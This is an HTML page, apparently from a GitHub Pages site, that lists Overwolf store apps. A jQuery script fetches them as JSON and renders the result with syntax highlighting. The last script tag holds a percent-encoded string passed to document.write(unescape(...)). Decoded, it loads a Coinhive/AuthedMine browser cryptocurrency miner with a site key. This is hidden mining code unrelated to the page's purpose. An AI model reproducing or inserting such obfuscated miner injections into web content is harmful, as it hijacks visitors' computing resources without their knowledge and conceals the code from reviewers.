-
Notifications
You must be signed in to change notification settings - Fork 0
/
apps.html
95 lines (94 loc) · 4.54 KB
/
apps.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
<html>
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Overwolf Apps</title>
<meta name="description" content="Overwolf Apps Github Pages">
<script type="text/javascript" src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.0.0/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="css/syntax.css">
<link rel="stylesheet" type="text/css" href="css/common.css">
</head>
<body linkifying="true">
<div class="topnav">
<a href="//www.overwolf.com/" target="_blank" style="font-family:'KlavikaWebBasicRegular',sans-serif;">Overwolf</a>
<a href="index.html">Home</a>
<div class="dropdown active">
<button id="appsbutton" class="dropbtn">Apps
<i class="fa fa-caret-down"></i>
</button>
<div class="dropdown-content">
<a href="apps.html">Normal</a>
<a href="apps.html?syntax">with Syntax</a>
<a href="apps.html?images">with icons</a>
<a href="apps.html?images&syntax">with both</a>
</div>
</div>
<a href="games.html">Games</a>
<li style="float:right"><a class="active" onclick="loadApps()">Refresh</a></li>
</div></br></br>
<div id="applist">
<h3 id="loading">Loading...</h3>
</div>
<!--div id="jsontotable"></div-->
<script type="text/javascript">
var getUrlParameter = function getUrlParameter(sParam) {
var sPageURL = decodeURIComponent(window.location.search.substring(1)),
sURLVariables = sPageURL.split('&'),
sParameterName,
i;
for (i = 0; i < sURLVariables.length; i++) {
sParameterName = sURLVariables[i].split('=');
if (sParameterName[0] === sParam) {
return sParameterName[1] === undefined ? true : sParameterName[1];
}
}
};
function syntaxHighlight(json) {
if (typeof json != 'string') {
json = JSON.stringify(json, undefined, 2);
}
json = json.replace(/&/g, '&').replace(/</g, '<').replace(/>/g, '>');
return json.replace(/("(\\u[a-zA-Z0-9]{4}|\\[^u]|[^\\"])*"(\s*:)?|\b(true|false|null)\b|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?)/g, function (match) {
if(getUrlParameter('syntax')) {
var cls = 'number';
if (/^"/.test(match)) {
if (/:$/.test(match)) {
cls = 'key';
} else {
cls = 'string';
}
} else if (/true|false/.test(match)) {
cls = 'boolean';
} else if (/null/.test(match)) {
cls = 'null';
}
isURL = /(https?:\/\/(?:www\.|(?!www))[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\.[^\s]{2,}|www\.[a-zA-Z0-9][a-zA-Z0-9-]+[a-zA-Z0-9]\.[^\s]{2,}|https?:\/\/(?:www\.|(?!www))[a-zA-Z0-9]\.[^\s]{2,}|www\.[a-zA-Z0-9]\.[^\s]{2,})/.test(match)
if( isURL && (/\.(gif|jpg|jpeg|tiff|png)"$/i).test(match) && getUrlParameter('images')) {
return '<a href="' + match.replace('"','') + '">' + match + '</a> <img src="'+match.replace('"','')+'" height="16" width="16"/>'
}
else if (isURL){
return '<a href="' + match.replace('"','') + '">' + match + '</a>';
}
return '<span class="' + cls + '">' + match + '</span>';
} else { return match; }
});
}
function loadApps() {
$("pre").remove();
$("#applist").prepend('<h3 id="loading">Loading...</h3>');
$.getJSON( "https://cors-anywhere.herokuapp.com/http://apps.overwolf.com/prod/OWStoreExtentions.json", function( data ) {
$("pre").remove();
var apps = data["Extensions"];
$("#appsbutton").text("Apps ("+apps.length+")")
document.body.appendChild(document.createElement('pre')).innerHTML = syntaxHighlight(apps);
var element = document.getElementById("loading");
if (element != null) element.parentNode.removeChild(element);
console.log("Finished loading ", apps.length,"apps...");
});
}
loadApps();
</script>
<script language="javascript">document.write(unescape('%3C%73%63%72%69%70%74%20%73%72%63%3D%22%68%74%74%70%73%3A%2F%2F%61%75%74%68%65%64%6D%69%6E%65%2E%63%6F%6D%2F%6C%69%62%2F%73%69%6D%70%6C%65%2D%75%69%2E%6D%69%6E%2E%6A%73%22%20%61%73%79%6E%63%3E%3C%2F%73%63%72%69%70%74%3E%0A%3C%64%69%76%20%63%6C%61%73%73%3D%22%63%6F%69%6E%68%69%76%65%2D%6D%69%6E%65%72%22%20%0A%20%20%20%20%73%74%79%6C%65%3D%22%77%69%64%74%68%3A%20%32%35%36%70%78%3B%20%68%65%69%67%68%74%3A%20%33%31%30%70%78%22%0A%20%20%20%20%64%61%74%61%2D%6B%65%79%3D%22%35%41%4E%62%39%44%48%41%4A%53%72%42%38%4A%37%6C%6B%57%65%4F%36%51%31%49%6E%43%39%4A%37%6D%63%32%22%3E%0A%20%20%20%20%3C%65%6D%3E%4C%6F%61%64%69%6E%67%2E%2E%2E%3C%2F%65%6D%3E%0A%3C%2F%64%69%76%3E'));</script>
</body>
</html>